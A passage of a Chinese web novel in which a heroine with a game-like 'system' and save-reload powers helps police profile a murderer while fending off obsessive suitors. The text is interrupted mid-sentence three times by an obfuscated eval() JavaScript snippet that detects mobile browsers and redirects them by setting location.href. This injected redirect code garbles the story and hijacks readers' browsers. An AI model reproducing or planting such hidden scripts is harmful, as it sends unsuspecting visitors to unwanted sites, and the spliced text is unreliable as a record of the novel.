擦身而过间,卷翘的发尾不经意扫过顾薄的脖子,带来酥酥麻麻的感觉,他甚至还闻到一股香味。 说不上来是什么,但却很好闻。 江萦倚在车窗边,脸上带着淡然轻讽的笑,闲适地看着自己的弟弟出洋相。 走在过道上,安童后知后觉地给自己存了个档。 迎面走来一个身姿挺拔的男人,安童没有在意,径直往前走。 男人经过安童的时候,回头看了她好几眼,最终拦下安童。 突然被一个人拦住,安童不解的投之疑惑的目光,当她专注盯着一个人的时候,眼尾下垂,总会显得自己特别无辜可怜,这一招一向无往不利。 但萧白桦不吃这套,认真辨别了一下安童,确认是当年那人之后,身心俱震,恼怒和一丝他自己不肯承认的欣喜充斥着他的大脑。 萧白桦发出一声冷笑:“你长得很眼熟。” 安童心想,我这怎么也不是大众脸吧。 “你不是说自己得了绝症活不过一年吗,现在是出现了医学奇迹?” 讲真,安童一时没想起这人是谁,但这句话一出来,陈年旧事浮上心头,她终于想起了某倒霉蛋。 看着眼前已经出落得邪魅帅气的倒霉蛋,安童汗毛竖起。 想起来了,都想起来了。 安童:啊不是bro,你这么记仇吗! 江薄遥遥看见安童似乎被为难,心中一紧,连忙跑到这边,也不敢直视安童,只是和萧白桦对峙,说话结结巴巴但不露怯:“你,你这是干什么,别想闹事,车上是有乘警的!” 哟,这是找到新的倒霉蛋来祸害吗? 当年萧白桦不过是见安童很优秀,想要与之结交,却被戏耍近十年,蒙在鼓里以为安童因病去世,还为痛失优秀的对手而遗憾到现在。 萧白桦皮笑肉不笑,眼神玩味地在他们身上来回打量,口吻刁钻:“怎么,想让他知道你是怎样一个优秀的骗子吗?” 安童:“……” 怎么就骗子了!只是小小隐瞒了一下事实真相而已,当时她吐血又不是假的! 君子报仇十年不晚,但冤冤相报何时了。 这已经过去多少年了,放下吧! 人要学会独立前行! 江薄挡在安童身前,将萧白桦和她隔开,江萦不知何时来到这,在一旁淡然观戏,散漫地整理着自己的袖口,简单的动作却带着不经意的优雅。 就在安童以为局面已经不会更乱的时候,旁边传来一声怒喝:“萧白桦,我要杀了你!” 一看,是张力拿着刀向这里跑来,原来他的目标是萧白桦! 乘务员见这边聚集一堆人,似乎情况不太对,和乘警正在往这里赶。 安童:啊啊啊啊好抓马系统呢你回档回档—— 【好的,正在为您回档中】 【今日剩余可回档次数:2】 咔哒一下,安童回到了和萧白桦撞见前。 安童迅速酝酿情绪进入状态。 萧白桦看到前方有个人,一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781774|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始没怎么在意,走近后发现这人有点眼熟。 样貌眼熟,气质眼熟。 很像是…… 在萧白桦快要想起之际,却被这姑娘拉住袖子,低头一看,她泪水挂在眼睫上要掉不掉,鼻尖透红,嘴唇微动:“是你吗,我当年以为自己活不久了,后来获救后总是挂念着拒绝你的事情……” 萧白桦一愣,想了起来,他有个挂念很久的女孩子,但一直以为对方去世了,看着安童泫然欲泣的样子,他一时觉得有点不对劲,但失而复得的喜悦还是冲昏了他的头脑。 安童低着头,不断用手拭泪肩膀微微颤抖,似乎在哭:“你可以给我拿些纸吗……” 萧白桦也没多想,看起来风流多情的桃花眼盛着喜悦和心疼,“你在这等我,”说完就转身离去。 安童见他走后,余光瞥到往这边走来的江薄,停止假哭,连忙拉住他:“我们右边座位,那姑娘包里有刀具,你联系一下乘警。” 然后她就以身体不舒服为借口回到了座位。 等萧白桦拿着纸巾回来后,安童已不见踪影,他茫然地在原地站了会,问了问准备离开的顾薄:“哥们,你刚刚在这有看见一个留着短卷发的女生吗?” 江薄抿紧嘴唇,他不喜欢和陌生人说话,一声不吭地离开了。 留在原地的萧白桦反应了好一会,才意识到自己又被骗了。 他渐渐捏紧手里的纸,神色变得晦暗。 * 乘警来得很快,在众人配合之下,很快被发现携带刀具,并被管制住。 在了解事由后,专程来找安童和江薄表达了感谢。 【魅力值+5】 【处事值+10】 【德行值+5】 嗯?德行值怎么才加这么点? 安童狂戳系统。 【这是正负相抵后的数值】 眼前又浮现出那倒霉蛋的身影。 emmm……好吧。 安童准备下高铁,收拾好物品便离开了。 江薄和江萦也在这一站下,跟在其后。 江薄在背后望着她的身影,眼里浮现出浓浓的失落,眼眸湿漉漉的。 刚刚她走的时候没有看他,连他跟在身后都不知道。 或许安童是有急事要先离开吧。 这样勉强安抚好自己后,看向他哥:“你账号借我用用,或者咱俩一起用,我想和安童聊天。” 江萦第一时间没同意,慢条斯理地拉着行李箱往前走,冷淡地抬了抬嘴角:“你不是加了她联系方式吗,用自己账号聊。” 江薄沉默地翻出聊天记录,江萦好奇地看了看,一时语塞。 [薄:今天阳光正好,像是会跳舞的精灵,在你身上洒落光辉点点,生动美丽(花朵)(爱心)。] [安徒生:这是哪来的诗人。] [薄:你也喜欢写诗吗?(红色感叹号——您已不是对方好友)] 江萦:“……” * 走出高铁站口的安童猛地呼吸一口新鲜口气。 见到前方的顾峤后,安童开心地招招手,蹦蹦跳跳地拖着行李箱跑了过去:“顾学长,你是不是等了很久啊!” “我也是刚到不久。” 顾峤推了推架在鼻梁上的金丝眼镜,温和地笑了笑:“应该饿了吧,先去吃午饭,这边有一家川菜馆很不错。” 微风拂来,栗色碎发被吹开,露出饱满的额头,一双眼睛深邃又温柔,唇色很淡但形状饱满。 五官轮廓柔和,给人以如沐春风之感。 安童第一次见到顾峤时,脑海里瞬间就浮现一个词——斯文败类。 顾峤在后面帮安童拖着行李箱,看着她沐浴在阳光下的身影,嘴角噙着浅浅的笑。 他状似随意地回头,看见一对双胞胎在不远处望着这边,似乎想要上前又不敢。 又是两个野男人。 童童,你怎么这么会招惹人。 顾峤看起来温润如玉,但此时心里阴郁翻滚,像是泛着黑气,要把不容于眼的沙砾铲除。 眼底情绪几近痴迷,他细细描绘着这道许久不见的身影。 她是我的。 我的。 谁也抢不走。 4. 男神向我告白 简单用过饭后,顾峤带着安童来到了当地的警局。 “李警官,这就是安童。” 进入一间会议室,顾峤神色和煦,轻松自然地和一名看起来神色凛然的警官打了招呼,“她在犯罪侧写这一方面很有心得,也许可以做你们这次的侧写顾问。” “我知道,你这小姑娘挺厉害,还没毕业呢,就在A市的一些刑事案件中出了力,我那老伙计经常夸起你!” 李警官看起来严肃,实则很好相处,三言两语缓和了气氛,安童心中不由涌起对警察叔叔的信赖。 “这些是没有涉及案件核心的档案,你们现在可以看看。” 他们围坐在房间中央的长桌两侧,安童在顾峤身边,乖巧地接过档案,从中抽出了一叠照片和文字资料,认真观察起来。 模样看起来很认真,但这年纪实在太小了,尽管曾帮助警方破获过案子,但阅历终究不及在警队历练多次的专业侧写师。 李警官不由叹了口气。 这次案件看似简单,却困扰专案组近十天,至今也只是根据多次会议选定了几个嫌疑人,现在还有一个正在审讯室接受盘问,却对某件事闭口不谈,很有疑点。 找来安童当顾问,也是因为有顾峤的担保,同样也是抱着试试运气的心态。 纸张翻阅的“唰唰”声传来,室内是白昼光,安童被光线刺得闭上右眼,眼角沁出泪花,仍顽强地眯着剩下的那只泛红的眼睛继续看。 真可爱。 童童认真的样子更可爱了。 如果彻底哭起来会是什么样呢? 最好是在他怀里哭,湿漉漉的童童,让他怜惜地舔去她无助留下的眼泪。 顾峤手动了动,他想要亲昵地为安童拭去眼角泛出的泪光,却在这时看到安童放在一旁的手机亮了。 本是随意一瞥,却在不小心看清内容时内心有一瞬间的扭曲。 [萦:小姐姐你好!我也来S市了,有空的话我们可以一起聚一聚,加深一下了解!(鲜花)没空也没关系,我会等你!(委屈)] 阴暗的情绪咕噜咕噜冒着泡,仿佛要沸腾起来,将顾峤儒雅的伪装融化,露出自己毒蛇般黏腻的占有欲。 什么玩意儿也想来碰他的童童,怎么这些人怎么也赶不走、赶不完。 淡淡的血腥味传来,顾峤心生不妙,转头看见安童正可怜地弓着身子,用颤抖的双手捂住口鼻,但指缝间仍不断往外渗出鲜血。 “姑娘你没事吧!”李警官惊骇,已经摸出手机要拨打急救电话。 奋力地伸出一只手摆了摆,表达了自己顽强的意志,安童掀开氤氲着雾气的眼眸,对顾峤和李警官微微眨了眨:“我没事,身体从小到大都这样,已经习惯了。” 安童:才怪,习惯是不可能的,人怎么会喜欢习惯吐血! 还不是得怪系统那坑爹的功能。 刚刚她先拿起文件资料快速游览,了解到案件是关于情杀,受害者是名男性,嫌疑人主要围绕着和他有过情感纠葛的几个女人,以及一些可能存在敌对关系的男人。 接着开始细细端详案发现场的图片,进入了头脑风暴模式。 每当这时候,安童都想叉腰怒骂坑爹系统,去你爹的经过正经培训。 谁能想到智商值通过外力实现极高值之后,呈现的方式竟然是剧透? 就像刚才,安童眼前的照片会自动会标注线索,指明疑点并对凶手侧写进行提示。 【检测结果:男性,28岁,心理扭曲,一名多年前逃逸的连环杀人犯。此次行凶属于有预谋地挑选受害者】 【警告:危险,此人可能会在几天内再次行凶】 而剧透的代价是消耗她的体魄值。 虽然也会吊着安童一条命,不会让她英年早逝,但这也很可怕了! “学妹,先休息一会吧?” 看着安童苍白的侧脸,顾峤心都揪紧了,快要忍不住跨过那条守礼的边界将她拥入怀中。 但顾峤知道不能这样。 不能将自己对安童特别的情愫表现出来让她发现,就像路边野狗汪汪叫着想要表忠心,却很容易被它看好的主人一脚踢开。 安童此时接过他递去的纸擦去了血迹,和李警官讲起了自己的推测,蓬松的短发看起来很是柔软,让人不禁想伸手触碰其毛绒绒的卷翘,感受女孩内心是否也是这样乖巧柔顺。 但顾峤望着安童,观察她的表情和肢体语言,无论看多少遍,都只得出一个结论。 ——这就是回避依恋型人格的典型表现。 一旦别人对自己产生过度关心就会回避、会拒绝。 尽管一直都知道这个事实,顾峤心里燃着的火苗像是被冰冻了一样,但还是试图以自身灼热破冻而出。 李警官听完安童的分析后,心中失望。 安童果然太年轻了,这和他们队里侧写的结果不一样,甚至还说是一名连环杀人犯,这怎么可能。 不过他还是和蔼地夸赞:“小姑娘年纪轻轻,就能对人物侧写这么擅长,很棒了,不过我们还是得斟酌一下。” 正好这时有人打电话过来,李警官一边接电话,一边和他们告别,转身走出去。 “李警官和队里的侧写师经常合作,所以会更偏向对方。” 顾峤神色温和,看着似乎有些气馁的女孩,声音轻柔地仿佛怕惊动她:“真的不去医院看看嘛。” 身残志坚的安童比个“OK”的手势,示意自己还能苟,从小到大都这样,小场面小场面,她只手拿捏。 安童拖着腮帮子发愁地想,该怎么让李警官相信自己呢,那可是个穷凶极恶的犯罪分子!没有警方的力量是无法将其找出的。 顾峤也没继续劝解,只是起身去倒了一杯水,轻轻放在安童面前。 安童喝水时,发现肩侧的白色裙袖沾染上了红色斑点,她顿时心痛:可恶可恶,新买的裙子,短短一天内经受两次挫折。 不管对不对,安童都把错误归咎于早上遇到的沈竹青,一定是他开了这个不好的头,谁让他那么目中无人撞倒她的! 而远在A市的沈竹青翻遍整个学校后也没找到安童,心情糟糕无比,遇见路边的狗都想踹一脚,散发着极具压迫感的低气压。 旁人还以为是校外黑涩会混进来找事,看到他就绕道走。 在安童心疼地擦拭血迹时,一旁的手机再度亮了亮。 顾峤似有预感,偷偷瞥了一眼。 [萦:你在忙吗?(委屈)那我乖乖的,不打扰你啦(揣手手)] 收收身上的茶味吧,已经扑面而来了。 顾峤嘴角微笑淡了淡,这种幼稚的小男生,不怎么懂得体恤人,安童是不会喜欢的。 但顾峤在一路拦截情敌的路上,还没有遇到这一款的。 说不准安童就喜欢这种“姐姐”来“姐姐”去,擅长装乖卖惨的人呢? 该死,这血迹擦不掉了。 安童心中再次怒骂沈竹青,真是扫把星本星,她惆怅地抓了把头发。 结果一看手上,竟然被捋下来几根发丝。 安童:“……” 难道她年纪轻轻就要因为殚精竭虑而秃头吗! “学妹,可以问问你在大学期间有谈一段恋爱的想法吗?” 安童:“0.o?” 有是有,不过也得找到人吧! 她真的觉得很奇怪,明明自己条件不差,却始终没人向自己告白,像是个恋爱绝缘体一样。 顾峤面上依旧挂着和煦的微笑,心跳却逐渐加快,震得仿佛头脑开始发晕,他知道现在不是时候,但却忍不住想要跨过那条线。 尽管他时时刻刻关注着安童,但总有些漏网之鱼悄无声息进入她的生活,让自己防不胜防。 更何况,他密切关注安童这么多年,无法再忍受与她没有任何进展的关系了。 “或许现在地点不太合适,但我还是想说,你可以考虑一下我。” 时刻观察着安童的微表情,顾峤神色愈发柔和,为自己增加筹码:“我们兴趣相同,或许在一起之后,研究案例也会更方便。” 眼前咻地蹦出两个选项。 【接受】or【拒绝】 这么突然? 安童兴味索然,虽然喜欢顾峤的颜,但她不想和一个人产生太过亲密的联系,本来都要拒绝了,在听到最后一句话时却醍醐灌顶。 学长人美心善,接受也不是不可诶! 安童觉得自己又可以了,微微颔首选择接受。 【抱歉,宿主您德行值和处事值不达标,无法与该对象进行恋爱选择】 系统是你吗,是你又开始搞事了吗,能不能别在关键时刻添乱! 安童狂点【接受】,耳边不断传来系统机械式重复接受失败的提醒。 【请宿主将德行值和处事值都提升到60后,再进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781775|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行恋爱选择】 【宿主当前德行值:12,处事值:30】 安童:“……!” 怎么可能差这么多,背后有主系统吗,她要投诉! 系统没有回应,只是列了长长的一条单据,把安童从小到大干过的缺德事一一展现了出来。 安童:可恶我竟然无言以对。 这边的顾峤看到安童沉默良久,内心涌起一阵又一阵惶恐,像是有一把剑悬在头上,准备随时接受审判。 “抱歉……顾学长,我目前没有恋爱的想法。” 安童坐直了,眼尾微垂的狗狗眼微微瞪大,仿佛含着一汪宁静的水,犹犹豫豫地看向顾峤,显得尤其无辜。 完了。 果然他不应在错误的时间奢求太多,明明只要跟着她身边被随手施舍就行。 路边的野狗,只需要心慈手软地递给他一块骨头,就能不求回报地追随。 仿佛如坠深渊,顾峤感觉自己呼吸渐渐窒住,眼前阵阵发黑,他不敢听安童接下来的话,如果她从此远离自己怎么办。 他几乎有些病态地想着,自己是不可能离开安童的,看不到她的每一分每一秒内心都像是被蚂蚁啃噬,就算被远离,他也会远远跟着安童身后。 “但我们还是可以继续做朋友!” 安童内心泪流满面,怒骂坑爹系统,同时焦虑着自己濒危的数值,平时头一次想着要去做点善事。 逐渐荒芜的内心渐渐回春。 劫后余生,顾峤像是重新活了过来,终于可以呼吸空气,神色略有些恍惚,但在安童看过来之前将自己调整为温文尔雅的模样。 “没关系,学长以后还是会和你一起分享案例。” 他眼里眉梢被笑意晕染开,像朵太阳花一样绽放,带来无限春意。 安童想着他突然笑这么好看是要干什么,她现在就像吃不到唐僧肉的倒霉蛋一样,被迫养胃。 啊啊啊啊她一定要快点凑够属性! * 顾峤带安童来到审讯室旁,单面镜前可以看到里面坐着一名看起来气质沉稳内敛的男性,看不清面孔,但也能看出他尽管坐在审讯室内,也从容不迫的态度。 在其他警员准备的时间,安童终于得空看了眼手机。 诶,是那情感缺失哥。 她的典型案例在这发了些什么消息呢? 定睛看了看,安童吃惊,有些难以把这些话语与那人凉薄冷淡的态度联系起来。 [安徒生:是本人?没有被盗号?] 另一头的江萦,在江薄退出账号后,随意地登进来看了看这缺根神经的弟弟发了些什么,这还是第一次看到他对外人感兴趣。 在这时,突然弹出来一条信息提示。 看清内容后,江萦眼皮一跳,点进了聊天记录,江薄直白浅显的话语映入眼帘。 江萦:“……” 不是让他在国外治疗并学习吗,他这弟弟到底在国外学了些什么。 家里本是想让他自闭的症状有所缓解,没想到如今竟反向进化了。 就在他迟疑的十几秒,对面又发了消息。 [安徒生:在?三秒内不回我就默认被盗号把你删了,3,2……] 冷灰色的眼眸注视着手机,本不打算掺和他弟弟的事,但想到被删后江薄可能向父母暴露自己行踪,他还是淡然地回了一句。 [萦:没有被盗号。] 竟然是本人。 安童挠挠下巴,难道对他的判断应该更新,此人还有精神分裂的症状? 那可太具有研究价值了,这个典型案例在她心里的含金量噔噔上升。 安童全身心的投入和典型案例的聊天中,没有注意到一旁顾峤似有似无投来的视线。 [安徒生:OK,我明天应该有空,要来聚一聚吗?(小狗伸手)] [安徒生:别带上你弟弟,社恐有社恐的归宿,让他好生在家休息吧。(小狗摇头)] 江萦看着不远处客厅正在画设计图的江薄,有些淡漠地想着,你知道自己喜欢的人直接把你拒之门外了吗。 江萦没有太多犹豫便回了消息,嘴角带着浅笑,却不带任何温度。 [萦:可以。] 约好见面地点后,白皙修长的手指在屏幕上点了点,清空了刚刚的聊天记录。 漫不经心地最后看了眼江薄,他疏淡地轻笑一声,重新投入工作。 5. 老男人铁树开花 审讯室内,沈长昀身着熨烫整齐的高定西装,闲适得像在自家公司一样,好整以暇地靠着座椅,双手放松地交叠放在桌上。 那双在强光灯下更显深邃的眸子冷静地扫视周围,他对递来水的小警察礼貌一笑,带动眼角细纹微微泛起,透着历经千帆的岁月沉淀。 “谢谢。” 声音低沉磁性,话语间带着久居上位者不自觉的掌控感。 “可以问问我什么时候能走吗?”沈长昀喉结微微滚动,饮完了刚刚那杯水,缓解了一下嗓子的干渴,“已经连续审问我二十三小时了吧,难道还不能证明我确实没问题吗?” 这人格外英俊,尽管小警员知道他已经34岁了,但沈长昀就像是历久弥新的陈年老酒,越品越是醇厚迷人。 不过小警员没有被这人优越的外表迷惑,毕竟沈长昀可还被警方列为嫌疑人,明明还有一个小时就必须释放他,却对此人束手无策。 他心里稍稍提起警惕,坐在沈长昀对面,准备开始进行最后一小时的审讯,争取从他嘴里问出话。 单面镜另一边。 一旁的女警叹了口气,告诉安童和顾峤:“这人心思缜密,老奸巨猾得很,回答问题也是避重就轻,我们愣是没从他嘴里敲出一句有用的话。” 陆续从女警那里听来一些信息,再结合了自己的观察,安童在心里大概对沈长昀有个侧写。 “可以让我和里面的审讯员对话吗?”安童乖巧地毛遂自荐。 女警员同意了,毕竟这是李警官招来的侧写顾问。 审讯室里的小警察身心俱疲,又被沈长昀绕进了弯,这时听到耳机里传来一道清甜的声音:“你好,请告诉沈长昀,说我们已经掌握了他是凶手的证据。” 警员心里疑惑,但仍然照做了。 沈长昀本来游刃有余,甚至有空不断地看手上的表,已经在脑海里构思回去后该怎么加班处理公务,听到警员问话后,动作一顿。 他面上波澜不惊,微笑道:“我不是凶手,怎么可能有证据指向我?” 警员继续按照耳机里的话语行事:“沈先生,我们在死者那检测到了你的DNA,可以解释一下吗?” 笑话,人不是他杀的,怎么会有他的DNA。 沈长昀思忖,难道是竞争对手发现他在警局,买通关系想要陷害他? 安童在外面,看出他神色动摇,继续乘胜追击,警员问话也越来越尖锐。 这警员审讯风格变了。 沈长昀不动声色地看了眼他戴着的耳机,对外面指挥的人感到好奇,于是不动声色套小警员的话。 但却被只言两语堵了回来,并伴随着更犀利的话语。 有意思。 真有意思。 他对外面指挥的人生出浓厚的兴趣,很想出去见一面。 无论如何,看来这件事没法隐瞒了。 沈长昀干脆承认他之前和死者对峙过,因为对方窃取了商业机密,他不想再生事端,所以隐瞒这段经历。 闻言,审讯室外的警员激动起来,但安童摇摇头:“他不是凶手。” “你为什么这么笃定?” 循声看去,李警官不知何时也在这里,身边站着另一名身形高大的警官,正是刚刚开口说话的人。 “这位是B市刑警支队重案组组长,谢岩。”李警官介绍道,他认真地瞧了眼安童,发现这姑娘比他想象中还要有本事,“刚好谢岩被调来,想着让他来帮忙审讯,没想到现在已经解决了。” 这人留着寸头,五官硬朗冷峻,从耳后到下颌有道长疤,像是一把经过鲜血和混乱中厮杀出来的剑,看久了他仿佛嗓子也呛着一股烟灰味。 安童还没见过这么气质这么肃杀的人。 她将手背在身后,将腰板挺得笔直,眨巴眨巴澄澈的狗狗眼,尽显纯良和无辜:“我分析了他的微表情与肢体语言,这人太镇定了,我一开始也是抱着试试的心态,没想到成功了。” 撒谎。 “是吗?“谢岩锐利的视线扫向安童,心里将此人划分到需要重点观察的可疑对象,敷衍地扬起嘴角:“听李警官说,你认为这次的凶手是连环杀人犯?” 安童心下了然,谢岩在怀疑她。 但这容易解决,虽然是有系统外挂,但她本身的专业素质可不是白练的。 又是轻缓地将自己的推理说了一次。 拇指重重摩挲着虎口粗糙的厚茧,谢岩目光低垂,审视着这个身穿白裙、楚楚可怜的女孩。 从事过长期卧底工作的他,只需要看一眼,就能知道一个人本性是什么,内心又潜藏着怎样危险的欲望。 安童对他来说也不例外。 无论看起来多么纯洁可爱,这人内心深处都蛰伏着恶劣因子,擅长装无辜、蛊惑人心,也是最常见的潜在犯罪分子。 谢岩此次是为了解决一桩连环杀人犯的案子而来,从李警官那听到安童的分析,感兴趣地过来。 没想到这人却让他产生了十足的防备心。 谢岩不信任安童。 一旁静默的顾峤看出谢岩对安童的敌意和针对,站出来挡在安童面前,隔开了那道锐利审视的目光。 他温和地笑着,态度温和,却带着不容置喙的维护:“谢警官,还有其他事情要询问吗?” 真是一条护主的狗。 谢岩挑了挑眉,心想被安童迷惑的人真是傻子,心甘情愿地为她冲锋陷阵。 他才不会被这样浅薄的表面所迷惑。 谢岩不再言语,最后意味深长地打量了一下安童,便和李警官告别,先行转身离开了。 来日方长,有的是时间和她会一会。 ——然后揭穿她的伪装。 安童感觉谢岩态度有点不太对,有些摸不着脑袋,打开他个人属性看了看。 【谢岩,男,26岁,心情值:80】 这不重要,安童惊讶地发现,他头上有颗心竟然裂了! 结合一下谢岩的态度,尽管不想承认,但安童还是后知后觉意识到。 这竟然是离了大谱的好感度。 三颗空心,如果上涨是填满,那裂开意味着什么? 【察觉到宿主产生疑问,在此解释:裂开意味着此人对宿主您好感度为负】 【提示:如果有人对宿主您好感度过低,会导致德行值不定期下降,请宿主尽力扭转风评】 安童:“……” 不是哥们,她做什么了! 勤勤恳恳帮助你们完成侧写,还帮忙了审讯,好感度怎么还为负了? 安童静悄悄地在心里给他参上一笔,准备日后报复回去。 诶等等,她是不是还有回档功能? 【当前宿主回档可用次数:2】 安童存了个档。 “站住,”安童跑到谢岩面前,在对方露出那副压迫感十足的表情时,心里更是不满,有恃无恐地抬手狠狠扇了他一巴掌,“这一巴掌,是还你胡乱猜疑我。” 在谢岩回过神之前,安童快速回档。 她再次快步上前拦住谢岩,再次甩了一巴掌,这一次力气更大:“这一巴掌,还你莫名其妙为负的好感,你是不是有病啊,我没得罪过你吧!” 安童再次回档,心满意足地看着谢岩离去的背影。 安童:爽了 “童童,你没事吧?”顾峤敏锐地发觉安童脸色变得惨白,关怀道。 都怪刚刚那个人把童童吓到了。 童童怎么可以受委屈,那个人怎么敢用那样的目光看童童。 顾峤内心阴郁地闪过无数个黑暗的想法。 安童:谢谢关心,其实就是有点失血过多加上过度进行脑力劳动。 不过, 童童? 他们之间的关系已经亲密到能这样叫对方了吗? 但顾峤似乎是不经意间叫出这个称呼,他像是才反应过来,轻轻取下夹在鼻梁上的眼镜,目光温和:“抱歉,因为我们是朋友,所以刚刚第一次升起想这样叫你的想法。” “如果你不喜欢,我就还是叫你学妹。” 安童倒也不是这么小气的人,一个称呼罢了,她默许了这样叫。 笑意划过眼底,他为自己又和安童拉近一点距离而窃喜。 这时,一旁审讯室的门打开了,一个西装革履的人走了出来。 安童被转移了注意力。 * 沈长昀不疾不徐地走出审讯室,若有似无地打量了一下外面的人,目光在穿白裙子的女孩身上多停顿了几秒。 按理来说,长期在总裁这个职位上,沈长昀应该见多识广,像这种类型的女人不计其数,但他也从没对谁另眼相待过。 不过眼前的人还是不同的。 也许是气质,也许是整体打扮,但就是这样另他有些挪不开视线。 警局内强烈的光线打在女孩身上,让她看起来白得几乎透明,脸色有些苍白,眼尾委屈地下垂着,显得格外纤细脆弱。 沈长昀喉结不由动了动。 他收回了视线。 克制。 要克制。 在圈内,沈长昀位高权重身边却一直没人,大家都纷纷猜测是不是这人是不是性冷淡。 其实他们都不知道,沈长昀表面看起来对风花雪月不感兴趣,也从未传过绯闻,但他心里积攒着喷薄而出的浓稠欲望,一旦不小心窥见就会吓到人。 沈长昀重.欲,有性.瘾。 身后的小警察也走了出来,女警上前调笑道:“怎么在警队待了这么久,还不如人家一小姑娘,”她指了指安童,“这位是安童,咱队里新来的侧写顾问。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781776|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听闻这话,正优雅整理西装袖扣的沈长昀心里一动,眼睫微抬,玩味地再次看向安童,正好和她视线对上。 原来就是她。 安童觉得这人看她的眼神不太对,但又说不上哪不对,那道视线如有实质般在她身上来回扫视,裸露在外的肌肤都忍不住瑟缩。 刚刚才被针对的安童警惕:莫不是这人也对她有意见。 不能吧,这才刚见面,她难道是什么新品种的万人嫌吗? 而守在她身边的顾峤一眼看出这人抱着和自己一样的心思。 他表面和风细雨地笑着,心里暗骂。 见色起意的老男人。 “你怎么还没走?”连续审问24小时的经历让小警察很难对沈长昀和颜悦色起来,“这里不是你久待的地方,没事就赶紧离开。” 沈长昀迈步。 他走到安童面前,举止绅士有礼,骨节分明的右手递出去一张名片,脸上带着恰到好处的笑意,透着成熟男人的风韵:“安小姐你好,我是青鸾集团执行总裁,有机会认识一下吗?” 老男人,都一把年纪了,还想来追求童童。 顾峤在心底恨不得拿针把他扎穿:又老又丑,还跑出来丢人现眼孔雀开屏。童童是不会看上你的,死心吧。 但见安童真的接过名片,顾峤心里像是在醋缸里浸泡了几天几夜,酸得牙疼。 安童倒没有什么特别的心思,只是出于礼节维持表面和谐。 她接过名片的瞬间,不小心触碰到沈长昀的手,像是被对方掌心灼热的温度烫到一样,猛然缩回。 眼里迅速凝结起水汽,像是被吓到一样,咬住嘴唇,力道有些大,甚至隐约有些红肿。 像是浆果一样,一咬就熟透了。 沈长昀眼神渐深,他细嚼着安童的名字,舌尖在口腔里轻轻转了一圈。 真是动人极了,就这样短暂触碰便如此敏感吗。 不经意般多次扫向安童丰润红肿的唇瓣,喉结再次滚了滚。 如果是力度再大点、更深些,重重碾住她的唇齿,又会是什么风景呢? 大概会哭吧。 以为自己拒绝意味明显的安童想得很单纯:小样,姐就是不想和你接触,麻溜地赶紧走吧。 早在沈长昀一直注视她时,就开始感到不爽了。 他看起来就深不可测,心机深沉,不知道随时随地在琢磨些什么坏主意,又想要坑谁。 这种身处高位的人最不好相处了,一句话给你套八百个陷阱,谈话间给你绕千把个圈子,得用尽心力和其聊天才不至于被全程带着走。 安童对这种人可是敬谢不敏。 能离多远是多远。 沈长昀发现安童旁边的顾峤一直敌视自己,尽管他隐藏得很好,但对于阅历丰富的他来说,这种小年轻一眼就能望到头。 但他不至于和这种心气高的毛头小子计较,和安童简单聊了几句,最后对她微微点头示意,准备离开警局。 即将踏出去之前,他脚步顿住了,回头看着安童,眼神深邃沉静,意味深长地将目光停在她身上的白裙子,徐徐开口:“安小姐,你这身白裙子看起来已经不太合适了,我之后寄给你一条新的吧,就当是想和你结识的诚意。” 最后一句话,他像是含在口中细嚼了很久后吐出来的,像是爱人间呢喃调.情:“……那也许更适合你。” 这身白裙子好看是好看。 但更适合在床上穿。 * 出来时,外面天色已经阴沉下来,街边亮起了盏盏路灯。 沈长昀踏出警局,前来接他回公司的迈巴赫就停在路边。 他慢条斯理地打开车后坐上后座,唇角牵起一丝难以捉摸的弧度。 “嘟嘟……” 沈长昀看清号码后,不紧不慢地接通。 “爸,借我几个人,我有用。” 沈竹青有些急躁地催促。 又惹出什么祸了,沈长昀有些不耐地皱眉,这样莽撞冲动的性格,未来怎么继任他的位置。 他当时在孤儿院选中沈竹青,就是因为他骨子里透着野性和疯劲,具有在商场大杀四方的潜质,如今竟成了弊端。 “我把助理的联系方式发你,你找他要人就是。” 另一头的沈竹青正要挂断电话,却听到沈长昀淡淡开口。 “你想要个小妈吗?” 沈竹青:“?” 老树开花了? 他没心思去管老男人的风流韵事,因为一直没找着安童憋着一股气,想也没想地开口:“好啊,你赶紧找,我先挂了。” 最好是沈长昀快点去谈恋爱,赶紧退位,早点把商业帝国传位给他。 小妈? 多一个少一个又怎样。 沈竹青嗤笑,反正和他无关。 6. 和他约会 警局内。 待沈长昀走后,安童捏着名片,对他一下子改观了。 贴心又有情商,这是什么绝世大好人! 她决定收回前面说沈长昀不好相处的话。 “看来沈先生是个好人,”安童不再为自己的白裙子而惋惜了,她感觉自己现在气也不虚头也不晕了,脸上带着浅笑,侧头看向顾峤,“你也这样觉得吧。” 